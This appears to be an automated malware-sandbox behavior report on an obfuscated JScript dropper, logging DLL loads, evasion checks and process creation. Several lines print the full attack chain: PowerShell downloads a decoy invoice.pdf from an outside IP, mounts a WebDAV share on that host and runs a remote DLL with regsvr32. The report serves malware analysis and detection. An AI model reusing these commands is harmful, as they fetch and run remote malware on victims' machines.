Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1460.js.csv");ITextStream.WriteLine(" entry:7558 f:vretewq");ITextStream.WriteLine(" exec:2 f:vretewq");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4415			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5460			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7160	Thread sleep count: 4415 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7160	Thread sleep count: 5460 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5012	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6576	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5448	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7300	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2157175309.000002A2A63E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2156920571.000002A2A6452000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2157345965.000002A2A6452000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2156596426.000002A2A6452000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3376052134.000002696945A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3374845387.0000026963E2B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

